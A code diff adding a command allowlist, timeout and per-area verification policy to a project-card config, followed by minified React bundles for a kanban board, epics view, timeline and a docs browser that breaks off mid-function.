@@ -22,0 +23,0 @@ "types": "./dist/src/index.d.ts", |
@@ -17,3 +17,48 @@ // A plain object on purpose, not `defineProject(...)`. That call would need | ||
| cards: { | ||
| areas: ["api", "web", "infra", "docs"] | ||
| areas: ["api", "web", "infra", "docs"], | ||
| // What a card's `verify[].run` may be. Each entry is an argv prefix, | ||
| // matched element by element against the card's own argument vector, | ||
| // which is spawned without a shell — so `["pnpm", "test"]` permits | ||
| // `pnpm test --filter cards` and permits nothing that starts | ||
| // differently. Empty by default: declare a command before a card can | ||
| // name one. | ||
| // | ||
| // It bounds which command a card may name, not what that command does. | ||
| // `pnpm test` dispatches through `package.json`, which the same pull | ||
| // request can edit, so read this as making a declared command | ||
| // reviewable rather than as a boundary against untrusted code. | ||
| verification: { | ||
| commands: [ | ||
| ["pnpm", "test"], | ||
| ["pnpm", "lint"] | ||
| ], | ||
| // How long one of those commands gets before `card verify` stops | ||
| // waiting and reports it as timed out, changing nothing. Ten | ||
| // minutes by default; raise it for a suite that honestly takes | ||
| // longer. There is no way to say "no timeout", because a command | ||
| // that never exits would hold an unattended CI job forever. | ||
| timeoutSeconds: 600, | ||
| // Which verification methods each area accepts at `done`. `*` | ||
| // answers for every area not named, including areas added later — | ||
| // without it, the ninth area somebody declares next month escapes | ||
| // the policy in silence. | ||
| // | ||
| // Omit the whole key and every method is accepted, which is what | ||
| // every project did before this existed. Naming an area here is a | ||
| // decision about that area's work: `api` is code, so a person's | ||
| // word for it is not enough; `docs` is prose, and there is nothing | ||
| // for CI to assert about it. A card closed with no `--method` at | ||
| // all records `local`, so it is judged like any other — declaring | ||
| // `["ci"]` means a bare `card transition ID done` is refused too. | ||
| // | ||
| // `forced` is not declarable. It is what the record says when | ||
| // `--force` walked a gate past something, and the reason is on the | ||
| // card's trail: a forced close is never judged here. | ||
| methods: { | ||
| api: ["ci"], | ||
| infra: ["ci"], | ||
| docs: ["ci", "manual"], | ||
| "*": ["ci", "local"] | ||
| } | ||
| } | ||
| }, | ||
@@ -20,0 +65,0 @@ docs: { |
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{bt as r,ct as i,wt as a,xt as o}from"./ui-primitives-Beqd9I2k.js";import{c as s,i as c,o as l,s as u,t as d}from"./theme-CNCrPl--.js";import{$ as f,M as p,N as m,P as h,R as g,Z as _,at as v,it as y,j as b,k as x,n as S,ot as C,r as w,rt as T,t as E,tt as D,z as O}from"./index-Dpy209ef.js";var k=e(t(),1),A=n(),j=[];function M(e,t){let[n,r]=(0,k.useState)(t);(0,k.useEffect)(()=>{r(t)},[e.length,t]);let i=(0,k.useCallback)(()=>r(n=>Math.min(n+t,e.length)),[e.length,t]);return[n>=e.length?e:e.slice(0,n),n<e.length,i]}function N({onVisible:e,remaining:t}){let n=(0,k.useRef)(null);return(0,k.useEffect)(()=>{let t=n.current;if(!t)return;let r=new IntersectionObserver(t=>{t.some(e=>e.isIntersecting)&&e()},{rootMargin:`600px 0px`});return r.observe(t),()=>r.disconnect()},[e,t]),(0,A.jsxs)(`span`,{ref:n,className:`px-0.5 py-1 font-mono text-[11px] text-muted-foreground`,children:[`+`,t,` more`]})}function P({task:e,epicId:t,onOpen:n,onDragStart:r,onCarry:i,carrying:a}){let o=e.claimed_at?Date.parse(e.claimed_at.includes(`T`)?e.claimed_at:`${e.claimed_at}T00:00:00`):NaN,c=Number.isNaN(o)?null:Math.max(0,Math.floor((Date.now()-o)/864e5)),u=[t&&t!==e.id?`epic ${t}`:``,e.effort?`effort ${e.effort}`:``,e.claimed_by?`claimed by ${e.claimed_by}${c==null?``:` · ${c}d`}`:``].filter(Boolean);return(0,A.jsxs)(`article`,{className:s(`flex cursor-pointer flex-col gap-1.5 rounded-lg border bg-background px-3 py-2.5 shadow-xs outline-none transition-[color,border-color,box-shadow] hover:border-ring focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50`,a&&`border-ring ring-2 ring-ring`),tabIndex:0,draggable:!!r,"aria-grabbed":i?!!a:void 0,title:u.length?u.join(` · `):void 0,onClick:()=>n(e.id),onKeyDown:t=>{t.key===`Enter`?(t.preventDefault(),n(e.id)):t.key===` `&&i?(t.preventDefault(),i()):t.key===` `&&(t.preventDefault(),n(e.id))},onDragStart:r,children:[(0,A.jsxs)(`span`,{className:`flex items-center`,children:[(0,A.jsx)(`span`,{className:`font-mono text-[11px] text-foreground/70`,children:e.id}),(0,A.jsx)(`span`,{className:`flex-1`}),(0,A.jsx)(`span`,{className:`font-mono text-[10px] font-medium`,style:{color:d(e.priority)},children:e.priority})]}),(0,A.jsx)(`span`,{className:`text-[12.5px] leading-snug font-medium`,role:`heading`,"aria-level":3,children:e.title}),(0,A.jsxs)(`span`,{className:`flex items-center gap-1.5 font-mono text-[10px] text-muted-foreground`,children:[(0,A.jsx)(`span`,{children:e.area}),(0,A.jsx)(`span`,{children:`·`}),(0,A.jsx)(`span`,{children:e.type}),e.claimed_by?(0,A.jsxs)(`span`,{className:`ml-auto inline-flex min-w-0 items-center gap-[5px]`,style:{color:l(`doing`)},children:[(0,A.jsx)(`span`,{className:`size-[5px] flex-none rounded-full bg-current`,"aria-hidden":`true`}),(0,A.jsx)(`span`,{className:`max-w-[90px] truncate`,children:e.claimed_by})]}):null]}),Array.isArray(e.scope)&&e.scope.length?(0,A.jsxs)(`span`,{className:`mt-0.5 truncate border-t border-dashed pt-1.5 font-mono text-[10.5px] text-muted-foreground`,children:[`scope `,e.scope.join(` · `)]}):null]})}function F({status:e,cards:t,epicIds:n,collapsed:a,onToggleCollapsed:c,onOpen:d,onMove:f,onCarry:_,carryingId:v,isDropTarget:y,onDragEnterColumn:S,onDragLeaveColumn:w}){let[T,E,D]=M(t,25),k=l(e),j={onDragOver:t=>{t.preventDefault(),t.dataTransfer.dropEffect=`move`,S?.(e)},onDragLeave:t=>{t.currentTarget.contains(t.relatedTarget)||w?.(e)},onDrop:t=>{t.preventDefault(),w?.(e);let n=t.dataTransfer.getData(`text/plain`);n&&f(n,e).catch(()=>void 0)}};return a?(0,A.jsxs)(O,{role:`region`,"aria-label":`${e}, ${t.length} cards, collapsed`,className:s(`relative w-11 flex-none gap-0 overflow-hidden rounded-lg py-0 shadow-xs`,y&&`border-primary`),...j,children:[(0,A.jsx)(g,{edge:`top`,color:k}),(0,A.jsxs)(`button`,{type:`button`,"aria-expanded":!1,"aria-label":`Expand the ${e} column`,title:`${e} · ${t.length}`,className:s(`flex h-full w-full cursor-pointer flex-col items-center gap-2.5 px-1 pt-4 pb-3 transition-colors hover:bg-accent/50`,y&&`bg-accent/50`),onClick:c,children:[(0,A.jsx)(o,{"aria-hidden":`true`,className:`size-3.5 shrink-0 text-muted-foreground`}),(0,A.jsx)(`span`,{className:`min-h-0 flex-1 truncate font-mono text-[11px] uppercase tracking-[0.06em] [writing-mode:vertical-rl]`,style:{color:k},children:e}),(0,A.jsx)(C,{variant:`secondary`,className:`h-5 shrink-0 rounded-md px-[7px] font-mono text-[11px] font-normal`,children:t.length})]})]}):(0,A.jsxs)(O,{role:`region`,"aria-label":`${e}, ${t.length} cards`,className:s(`relative w-[268px] flex-none gap-0 overflow-hidden rounded-lg py-0 shadow-xs`,y&&`border-primary`),...j,children:[(0,A.jsx)(g,{edge:`top`,color:k}),(0,A.jsxs)(`header`,{className:`flex flex-none items-center gap-2 px-3 pb-2.5 pt-4`,children:[(0,A.jsx)(`span`,{className:`flex-1 font-mono text-[11px] uppercase tracking-[0.06em]`,style:{color:k},children:e}),(0,A.jsx)(C,{variant:`secondary`,className:`h-5 rounded-md px-[7px] font-mono text-[11px] font-normal`,children:t.length}),c?(0,A.jsx)(u,{type:`button`,variant:`ghost`,size:`icon-xs`,"aria-expanded":!0,"aria-label":`Collapse the ${e} column`,title:`Collapse column`,className:`-mr-1 text-muted-foreground`,onClick:c,children:(0,A.jsx)(r,{"aria-hidden":`true`})}):null]}),(0,A.jsxs)(`div`,{className:s(`scroll-fade flex flex-1 flex-col gap-2 overflow-y-auto p-2.5`,y&&`bg-accent/50`),children:[t.length===0?(0,A.jsx)(x,{className:`flex-1 gap-2 rounded-lg border border-dashed p-4`,children:(0,A.jsxs)(p,{className:`gap-1`,children:[(0,A.jsx)(m,{variant:`icon`,className:`mb-0 size-8 [&_svg:not([class*='size-'])]:size-4`,children:(0,A.jsx)(i,{"aria-hidden":`true`})}),(0,A.jsx)(h,{className:`text-[12.5px] font-medium`,children:`No cards`}),(0,A.jsx)(b,{className:`text-[11.5px]`,children:`Nothing in this state.`})]})}):T.map(e=>(0,A.jsx)(P,{task:e,epicId:n.get(e.id),onOpen:d,onCarry:_?()=>_(e):void 0,carrying:v===e.id,onDragStart:t=>{t.dataTransfer.effectAllowed=`move`,t.dataTransfer.setData(`text/plain`,e.id)}},e.id)),E&&(0,A.jsx)(N,{onVisible:D,remaining:t.length-T.length})]})]})}function I({tasks:e,epicIds:t,showClosed:n,onOpen:r,onMove:i}){let[a,o]=(0,k.useState)(null),[s,c]=(0,k.useState)(null),[l,u]=(0,k.useState)(``),[d,f]=(0,k.useState)(()=>{try{let e=localStorage.getItem(`workfile-flow-collapsed`);return new Set(e?JSON.parse(e):[])}catch{return new Set}}),p=(0,k.useCallback)(e=>{f(t=>{let n=new Set(t);return n.has(e)?n.delete(e):n.add(e),localStorage.setItem(`workfile-flow-collapsed`,JSON.stringify([...n])),n})},[]),m=(0,k.useMemo)(()=>[`backlog`,`next`,`doing`,`review`,`blocked`,`deferred`,...n?[`done`,`discarded`]:[]],[n]),h=(0,k.useMemo)(()=>{let t=new Map;for(let n of e){let e=t.get(n.status);e?e.push(n):t.set(n.status,[n])}return t},[e]),g=e=>{o({id:e.id,status:e.status}),u(`${e.id} picked up from ${e.status}. Use the arrow keys to choose a column, space to drop, escape to cancel.`)},_=e=>{if(!a)return;let t=m.indexOf(a.status),n=m[Math.min(m.length-1,Math.max(0,t+e))];!n||n===a.status||(o({...a,status:n}),u(`${a.id} over ${n}.`))},v=async()=>{if(!a)return;let t=a;o(null);let n=e.find(e=>e.id===t.id);n&&n.status!==t.status?(await i(t.id,t.status),u(`${t.id} moved to ${t.status}.`)):u(`${t.id} put back.`)};return(0,A.jsxs)(`div`,{className:`flex min-h-0 flex-1 gap-3 overflow-x-auto p-3.5`,onDragEnd:()=>c(null),onKeyDown:e=>{a&&(e.key===`Escape`?(e.preventDefault(),o(null),u(`Move cancelled.`)):e.key===`ArrowRight`?(e.preventDefault(),_(1)):e.key===`ArrowLeft`?(e.preventDefault(),_(-1)):(e.key===` `||e.key===`Enter`)&&(e.preventDefault(),v()))},children:[(0,A.jsx)(`p`,{className:`sr-only`,role:`status`,"aria-live":`polite`,children:l}),m.map(e=>(0,A.jsx)(F,{status:e,cards:h.get(e)??j,epicIds:t,collapsed:d.has(e),onToggleCollapsed:()=>p(e),onOpen:r,onMove:i,onCarry:g,carryingId:a?.id??null,isDropTarget:a?.status===e||s===e,onDragEnterColumn:c,onDragLeaveColumn:e=>c(t=>t===e?null:t)},e))]})}function L({tasks:e,allTasks:t,epicIds:n,onOpen:r}){let i=(0,k.useMemo)(()=>new Map(t.map(e=>[e.id,e])),[t]),a=(0,k.useMemo)(()=>{let t=new Map;for(let r of e){let e=n.get(r.id)||(r.type===`epic`?r.id:`__none`);t.has(e)||t.set(e,[]),r.id!==e&&t.get(e)?.push(r)}return[...t].sort(([e],[t])=>e===`__none`?1:t===`__none`?-1:e.localeCompare(t,void 0,{numeric:!0}))},[n,e]);return a.length?(0,A.jsx)(`div`,{className:`flex-1 overflow-y-auto p-3.5`,children:(0,A.jsx)(`div`,{className:`flex flex-col gap-2.5`,children:a.map(([e,t])=>{let n=i.get(e),a=t.length,o=t.filter(e=>e.status===`done`||e.status===`discarded`).length,c=t.filter(e=>e.status===`doing`).length,u=a-o-c,d=e=>a?`${e/a*100}%`:`0%`,f=[{label:`${o} done`,color:l(`done`)},{label:`${c} doing`,color:l(`doing`)},{label:`${u} open`,color:null}],p=(0,A.jsxs)(A.Fragment,{children:[(0,A.jsxs)(`span`,{className:`flex min-w-0 items-center gap-2.5`,children:[(0,A.jsx)(`span`,{className:`font-mono text-[11.5px] text-foreground/70`,children:e===`__none`?`—`:e}),(0,A.jsx)(`span`,{className:`min-w-0 flex-1 text-sm font-semibold tracking-[-0.01em] text-pretty`,children:n?.title||`Without epic`}),n?(0,A.jsx)(`span`,{className:`font-mono text-[11px]`,style:{color:l(n.status)},children:n.status}):null,(0,A.jsxs)(`span`,{className:`font-mono text-[11.5px] text-muted-foreground`,children:[o,`/`,a]})]}),(0,A.jsx)(`span`,{className:`flex h-2 w-full overflow-hidden rounded-full bg-muted`,"aria-hidden":`true`,children:a>0?(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(`span`,{className:`h-full`,style:{width:d(o),background:l(`done`)}}),(0,A.jsx)(`span`,{className:`h-full`,style:{width:d(c),background:l(`doing`)}})]}):null}),(0,A.jsxs)(`span`,{className:`flex flex-wrap items-center gap-3.5 font-mono text-[10.5px] text-muted-foreground`,children:[f.map(e=>(0,A.jsxs)(`span`,{className:`inline-flex items-center gap-[5px]`,children:[(0,A.jsx)(`span`,{className:s(`size-1.5 rounded-[2px]`,!e.color&&`bg-muted-foreground`),style:e.color?{background:e.color}:void 0,"aria-hidden":`true`}),e.label]},e.label)),(0,A.jsx)(`span`,{className:`ml-auto`,children:n?.area??``})]})]});return n?(0,A.jsx)(`button`,{type:`button`,className:`flex w-full cursor-pointer flex-col gap-2.5 rounded-xl border bg-card px-4 py-3.5 text-left text-card-foreground shadow-xs outline-none transition-[color,border-color,box-shadow] hover:border-ring focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50`,onClick:()=>r(e),children:p},e):(0,A.jsx)(O,{className:`gap-2.5 rounded-xl px-4 py-3.5 shadow-xs`,children:p},e)})})}):(0,A.jsx)(x,{className:`flex-1 p-6`,children:(0,A.jsxs)(p,{children:[(0,A.jsx)(h,{className:`text-sm`,children:`No epics`}),(0,A.jsx)(b,{className:`text-[11.5px]`,children:`No cards match the current filters.`})]})})}var R=300,z=30;function B({task:e,span:t,mode:n,epicId:r,pct:i,labelWidth:a,onOpen:o}){let s=l(e.status);return(0,A.jsxs)(`button`,{type:`button`,onClick:()=>o(e.id),title:`${w(e,n,t)} · ${e.status}${r&&r!==e.id?` · epic ${r}`:``}`,className:`flex w-full cursor-pointer items-center border-b bg-transparent p-0 text-left transition-colors hover:bg-muted`,children:[(0,A.jsxs)(`span`,{className:`flex min-w-0 items-center gap-2 border-r px-3.5`,style:{width:a,flex:`0 0 ${a}px`,height:`var(--row-h)`},children:[(0,A.jsx)(`span`,{className:`flex-none whitespace-nowrap font-mono text-[11px] text-foreground/70`,children:e.id}),(0,A.jsx)(`span`,{className:`min-w-0 truncate text-[12.5px]`,children:e.title})]}),(0,A.jsx)(`span`,{className:`relative block flex-1`,style:{height:`var(--row-h)`},children:t.point?(0,A.jsx)(`span`,{style:{position:`absolute`,top:`50%`,width:9,height:9,transform:`translate(-50%, -50%) rotate(45deg)`,borderRadius:2,background:s,display:`block`,left:`${i(t.from)}%`}}):(0,A.jsx)(`span`,{style:{position:`absolute`,top:`50%`,transform:`translateY(-50%)`,height:12,minWidth:6,borderRadius:3,background:s,display:`block`,left:`${i(t.from)}%`,width:`${Math.max(i(t.to)-i(t.from),.8)}%`}})})]})}function V({tasks:e,epicIds:t,axes:n={},mode:r,counts:i,onModeChange:o,onOpen:s}){let l=_()?168:R,d=l+460,[m,g]=(0,k.useState)(()=>{try{return localStorage.getItem(`workfile-timeline-group`)||`none`}catch{return`none`}}),C=(0,k.useCallback)(e=>{g(e);try{localStorage.setItem(`workfile-timeline-group`,e)}catch{}},[]),w=(0,k.useMemo)(()=>[`none`,`epic`,`area`,...Object.keys(n)],[n]),O=w.includes(m)?m:`none`,j=(0,k.useCallback)(e=>{if(O===`epic`)return t.get(e.id)||``;if(O===`area`)return e.area||``;let n=e[O];return typeof n==`string`?n:``},[t,O]),M=(0,k.useMemo)(()=>{let t=new Map;for(let n of e){let e=S(n,r);e&&t.set(n.id,e)}return t},[r,e]),N=(0,k.useMemo)(()=>{let t=(e,t)=>M.get(e.id).from-M.get(t.id).from||e.id.localeCompare(t.id),n=e.filter(e=>M.has(e.id)).sort(t);return O===`none`?n:[...n].sort((e,n)=>{let r=j(e),i=j(n);return!r==!i?r.localeCompare(i)||t(e,n):r?-1:1})},[j,O,M,e]),P=(0,k.useMemo)(()=>{if(O===`none`)return N.map(e=>({task:e,label:null}));let e=[],t=null;for(let n of N){let r=j(n);r!==t&&(t=r,e.push({task:null,label:r||`no ${O}`})),e.push({task:n,label:null})}return e},[j,O,N]),F=(0,k.useMemo)(()=>new Map(P.flatMap((e,t)=>e.task?[[e.task.id,t]]:[])),[P]),I=(0,k.useMemo)(()=>{let e=[];for(let t of N)for(let n of t.depends||[])F.has(n)&&e.push({from:n,to:t.id});return e},[F,N]),L=(0,k.useMemo)(()=>E(N.map(e=>M.get(e.id)),Date.now()),[N,M]),V=i[r===`plan`?`actual`:`plan`];return!N.length||!L?(0,A.jsx)(x,{className:`flex-1 p-6`,children:(0,A.jsxs)(p,{children:[(0,A.jsx)(h,{className:`text-sm`,children:r===`plan`?`Nothing scheduled`:`Nothing recorded`}),(0,A.jsx)(b,{className:`text-[11.5px]`,children:r===`plan`?`Add a start or due date to a card.`:`Cards record a trail as they are claimed and moved.`}),V>0?(0,A.jsx)(b,{className:`text-[11.5px]`,children:(0,A.jsx)(u,{variant:`outline`,size:`sm`,className:`mt-2 text-[12.5px] font-medium`,onClick:()=>o(r===`plan`?`actual`:`plan`),children:r===`plan`?`show what actually happened · ${V} cards`:`show the schedule · ${V} cards`})}):null]})}):(0,A.jsxs)(`div`,{className:`flex min-h-0 flex-1 flex-col`,children:[(0,A.jsxs)(`div`,{className:`no-scrollbar flex flex-none items-center gap-2.5 overflow-x-auto border-b bg-card px-3.5 py-2`,children:[(0,A.jsxs)(`span`,{className:`shrink-0 font-mono text-[11px] whitespace-nowrap text-muted-foreground`,children:[N.length,` `,r===`actual`?`recorded`:`scheduled`,` ·`,` `,I.length,` dependenc`,I.length===1?`y`:`ies`]}),(0,A.jsxs)(f,{children:[(0,A.jsx)(v,{asChild:!0,children:(0,A.jsxs)(u,{variant:`outline`,size:`sm`,"aria-label":`dates`,className:`ml-auto shrink-0 text-[12.5px] font-medium`,children:[`dates`,(0,A.jsx)(`span`,{className:`font-normal text-muted-foreground`,children:r}),(0,A.jsx)(a,{className:`size-[13px] text-muted-foreground`})]})}),(0,A.jsx)(D,{align:`end`,children:(0,A.jsxs)(T,{value:r,onValueChange:e=>o(e),children:[(0,A.jsx)(y,{value:`plan`,children:`plan`}),(0,A.jsx)(y,{value:`actual`,children:`actual`})]})})]}),(0,A.jsxs)(f,{children:[(0,A.jsx)(v,{asChild:!0,children:(0,A.jsxs)(u,{variant:`outline`,size:`sm`,"aria-label":`group`,className:`shrink-0 text-[12.5px] font-medium`,children:[`group`,(0,A.jsx)(`span`,{className:`font-normal text-muted-foreground`,children:O}),(0,A.jsx)(a,{className:`size-[13px] text-muted-foreground`})]})}),(0,A.jsx)(D,{align:`end`,children:(0,A.jsx)(T,{value:O,onValueChange:C,children:w.map(e=>(0,A.jsx)(y,{value:e,children:e},e))})})]})]}),(0,A.jsx)(`div`,{className:`min-h-0 flex-1 overflow-auto`,children:(0,A.jsxs)(`div`,{className:`relative min-h-full`,style:{minWidth:d},children:[(0,A.jsxs)(`div`,{"aria-hidden":`true`,className:`sticky top-0 z-[2] flex items-stretch border-b bg-card`,style:{height:z},children:[(0,A.jsx)(`span`,{className:`flex items-center border-r px-3.5 text-[10px] uppercase tracking-[0.08em] text-muted-foreground`,style:{width:l,flex:`0 0 ${l}px`},children:`card`}),(0,A.jsx)(`span`,{className:`relative flex-1`,children:L.ticks.map((e,t)=>(0,A.jsx)(`span`,{className:`text-[10px] uppercase tracking-[0.08em] text-muted-foreground`,style:{position:`absolute`,top:`50%`,transform:`translateY(-50%)`,left:`${e.left}%`,width:`${(L.ticks[t+1]?.left??100)-e.left}%`,overflow:`hidden`,paddingLeft:8,whiteSpace:`nowrap`},children:e.label},e.key))})]}),(0,A.jsxs)(`div`,{"aria-hidden":`true`,className:`pointer-events-none absolute`,style:{top:z,bottom:0,left:l,right:0},children:[L.ticks.map(e=>(0,A.jsx)(`span`,{className:`absolute inset-y-0 w-px bg-border`,style:{left:`${e.left}%`}},e.key)),L.today!=null&&(0,A.jsx)(`span`,{className:`absolute inset-y-0 w-px`,style:{background:c(`error`),opacity:.55,left:`${L.today}%`}})]}),(0,A.jsxs)(`div`,{className:`relative`,children:[I.length>0&&(0,A.jsx)(`svg`,{"aria-hidden":`true`,preserveAspectRatio:`none`,viewBox:`0 0 100 ${P.length}`,className:`pointer-events-none absolute top-0 h-full`,style:{left:l,width:`calc(100% - ${l}px)`},children:I.map(e=>{let t=M.get(e.from),n=M.get(e.to);if(!t||!n)return null;let r=L.pct(t.to),i=L.pct(n.from),a=F.get(e.from)+.5,o=F.get(e.to)+.5;return(0,A.jsx)(`path`,{d:`M ${r} ${a} C ${(r+i)/2} ${a}, ${(r+i)/2} ${o}, ${i} ${o}`,vectorEffect:`non-scaling-stroke`,style:i<r?{fill:`none`,stroke:c(`error`),strokeWidth:1.5,strokeDasharray:`3 2`}:{fill:`none`,stroke:`var(--muted-foreground)`,strokeWidth:1.5,opacity:.4}},`${e.from}-${e.to}`)})}),P.map((e,n)=>e.task?(0,A.jsx)(B,{task:e.task,span:M.get(e.task.id),mode:r,epicId:t.get(e.task.id),pct:L.pct,labelWidth:l,onOpen:s},e.task.id):(0,A.jsx)(`div`,{className:`border-b bg-muted/40`,children:(0,A.jsx)(`span`,{className:`flex items-center px-3.5 text-[10px] uppercase tracking-[0.08em] text-muted-foreground`,style:{height:`var(--row-h)`},children:e.label})},`group-${n}-${e.label}`))]})]})})]})}export{L as EpicsView,I as FlowBoard,V as TimelineView}; |
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{B as r,Ct as i,K as a,Q as o,W as s,ft as ee,pt as c}from"./ui-primitives-Beqd9I2k.js";import{c as l,r as u,s as d}from"./theme-CNCrPl--.js";import{C as f,D as p,I as te,L as ne,M as re,O as m,P as ie,S as h,T as ae,W as g,X as _,Z as oe,_ as se,b as v,c as ce,ct as y,d as le,f as ue,g as b,h as x,j as de,k as fe,l as pe,m as S,ot as me,p as he,st as C,v as ge,w,x as _e,y as ve}from"./index-Dpy209ef.js";import{t as ye}from"./layout-QiuZ_k5v.js";var T=e(t(),1),E=n(),D=`doc-h`,be=[`current`,`draft`,`superseded`,`archived`],O=`text-[10px] font-medium tracking-[0.07em] uppercase text-muted-foreground`;function xe({document:e,selected:t,onSelect:n}){return(0,E.jsx)(m,{asChild:!0,size:`sm`,className:l(`w-full cursor-pointer flex-col items-start gap-0.5 px-2 py-1.5 text-left hover:bg-accent`,t&&`bg-accent`),children:(0,E.jsxs)(`button`,{type:`button`,"aria-current":t?`true`:void 0,onClick:n,children:[(0,E.jsxs)(`span`,{className:`flex w-full items-center gap-1.5`,children:[(0,E.jsx)(`span`,{className:`flex-1 truncate text-xs font-medium`,children:e.title}),(0,E.jsx)(`span`,{className:l(`font-mono text-[10px]`,!e.managed&&`text-muted-foreground`),style:e.managed?{color:u(e.status)}:void 0,children:e.managed?e.status:`indexed`})]}),(0,E.jsx)(`span`,{className:`w-full truncate font-mono text-[10px] text-muted-foreground`,children:e.path})]})})}function Se({entries:e,activeId:t,onJump:n}){let r=Math.min(...e.map(e=>e.level));return(0,E.jsxs)(`aside`,{"aria-label":`Document outline`,className:`hidden w-[228px] shrink-0 overflow-y-auto border-l px-3 py-6.5 xl:block`,children:[(0,E.jsx)(`span`,{className:l(O,`px-2`),children:`on this page`}),(0,E.jsx)(`nav`,{className:`mt-2 flex flex-col gap-px`,children:e.map(e=>{let i=e.id===t;return(0,E.jsx)(`button`,{type:`button`,"aria-current":i?`true`:void 0,className:l(`cursor-pointer rounded-md px-2 py-1 text-left text-xs leading-snug transition-colors hover:bg-accent`,i?`bg-accent font-medium text-foreground`:`text-muted-foreground`),style:{paddingLeft:`${8+Math.min(e.level-r,3)*12}px`},onClick:()=>n(e.id),children:e.text},e.id)})})]})}function k({label:e,value:t}){return(0,E.jsxs)(v,{className:`w-auto min-w-[120px] gap-0.5 rounded-lg border bg-card px-3 py-2 shadow-xs`,children:[(0,E.jsx)(`span`,{className:O,children:e}),(0,E.jsx)(`span`,{className:`text-[13px] font-medium`,children:t})]})}function A({label:e,links:t,onOpen:n}){return t.length?(0,E.jsxs)(`section`,{className:`flex flex-col gap-1.5`,children:[(0,E.jsx)(`span`,{className:O,children:e}),t.map((e,t)=>{let r=!e.exists&&!e.title;return(0,E.jsx)(m,{asChild:!0,variant:`outline`,size:`sm`,className:l(`w-full cursor-pointer gap-2 px-2.5 py-2 text-left hover:bg-accent`,r&&`cursor-default opacity-55 hover:bg-transparent`),children:(0,E.jsxs)(`button`,{type:`button`,disabled:r,onClick:()=>n(e.id),children:[(0,E.jsx)(`span`,{className:`min-w-[78px] shrink-0 font-mono text-[11px] font-medium`,children:e.id}),(0,E.jsx)(`span`,{className:`min-w-0 flex-1 truncate text-xs text-muted-foreground`,children:e.title||(e.exists===!1?`Missing record`:e.id)}),(e.relations??[e.relation]).filter(Boolean).map(e=>(0,E.jsx)(me,{variant:`secondary`,className:`font-mono text-[10px]`,children:e},e))]})},`${e.id}-${t}`)})]}):null}var j=(0,E.jsx)(`span`,{"aria-hidden":`true`,className:`text-muted-foreground`,children:`·`});function M({id:e,onSelect:t,onOpen:n}){let[r,i]=(0,T.useState)(null),[a,o]=(0,T.useState)(``),s=(0,T.useRef)(null),ee=(0,T.useMemo)(()=>r?w(r.body||``,D):[],[r]);return(0,T.useEffect)(()=>{let t=!0;return i(null),o(``),g.record(e).then(e=>{t&&i(e.record)}).catch(e=>{t&&o(e.message)}),()=>{t=!1}},[e]),a?(0,E.jsx)(`div`,{className:`px-4 py-3 text-xs text-muted-foreground`,children:a}):r?(0,E.jsxs)(`div`,{ref:s,className:`flex min-h-0 flex-1 flex-col overflow-y-auto px-4 py-3`,children:[(0,E.jsxs)(`div`,{className:`flex flex-wrap items-center gap-2 font-mono text-[11px] text-muted-foreground`,children:[(0,E.jsx)(`span`,{children:r.id}),j,(0,E.jsx)(`span`,{children:r.documentKind}),j,(0,E.jsx)(`span`,{style:{color:u(r.status)},children:r.status}),j,(0,E.jsx)(`span`,{children:r.managed?`managed`:`indexed`}),(0,E.jsxs)(d,{type:`button`,variant:`ghost`,size:`sm`,className:`ml-auto h-7 gap-1 px-2 text-xs`,onClick:()=>n(e),children:[(0,E.jsx)(c,{"aria-hidden":`true`,className:`size-3`}),`Open in Docs`]})]}),(0,E.jsx)(`h2`,{className:`mt-1 text-sm font-medium`,children:r.title}),(0,E.jsx)(`p`,{className:`font-mono text-[11px] text-muted-foreground`,children:r.path}),r.freshness?.length?(0,E.jsx)(C,{className:`mt-3`,children:(0,E.jsx)(y,{children:r.freshness.map(e=>e.message).join(` `)})}):null,(0,E.jsxs)(`div`,{className:`mt-3 flex min-w-0 items-start gap-1`,children:[(0,E.jsx)(`div`,{className:`min-w-0 flex-1 [&>.typeset]:[--typeset-leading:1.6] [&>.typeset]:[--typeset-size:0.8125rem] [&>.typeset>:not(.typeset-scroll)]:max-w-[72ch]`,children:(0,E.jsx)(f,{source:r.body||`_This document is empty._`,onOpen:t,headingPrefix:D})}),(0,E.jsx)(S,{entries:ee,container:s})]})]}):(0,E.jsxs)(`div`,{className:`flex items-center gap-2 px-4 py-3 text-sm text-muted-foreground`,children:[(0,E.jsx)(p,{}),` Reading `,e,`…`]})}function N({selectedId:e,onSelect:t,onOpenCard:n}){let[c,m]=(0,T.useState)([]),[S,me]=(0,T.useState)(``),[M,N]=(0,T.useState)(!0),[P,F]=(0,T.useState)(``),[I,Ce]=(0,T.useState)(!1),[L,we]=(0,T.useState)(!1),[R,z]=(0,T.useState)(null),[B,V]=(0,T.useState)(!1),[H,U]=(0,T.useState)(``),[W,Te]=(0,T.useState)(null),[Ee,G]=(0,T.useState)(0);ne(e=>{te(e,`/docs/`,`docs/`)&&G(e=>e+1)}),(0,T.useEffect)(()=>{let e=!1;N(!0);let t=window.setTimeout(()=>{g.docs(S.trim()).then(t=>{e||(m(t.records),F(``))}).catch(t=>{e||F(t instanceof Error?t.message:String(t))}).finally(()=>{e||N(!1)})},S?180:0);return()=>{e=!0,window.clearTimeout(t)}},[S,Ee]),(0,T.useEffect)(()=>{if(!R||W)return;let e=!1;return g.tasks().then(t=>{e||Te(t.schema.docs)}).catch(()=>{}),()=>{e=!0}},[R,W]);let K=(0,T.useMemo)(()=>I?c.filter(e=>e.managed):c,[c,I]),q=(0,T.useMemo)(()=>{let e=K.filter(e=>e.managed),t=K.filter(e=>!e.managed);return[{key:`managed`,label:`.project/docs · managed`,docs:e},{key:`indexed`,label:`indexed · read only`,docs:t}].filter(e=>e.docs.length>0)},[K]),De=oe(),J=K.find(t=>t.id===e)||(De?void 0:K[0]),Y=(0,T.useRef)(null),[Oe,X]=(0,T.useState)(``),Z=(0,T.useMemo)(()=>J&&!L?w(J.body,D):[],[J,L]),Q=Z.length>1;(0,T.useEffect)(()=>{X(``);let e=Y.current;if(!e||!Q)return;let t=new Map,n=new IntersectionObserver(e=>{for(let n of e)t.set(n.target.id,n.isIntersecting);let n=Z.find(e=>t.get(e.id));n&&X(n.id)},{root:e,rootMargin:`0px 0px -66% 0px`,threshold:0});for(let e of Z){let 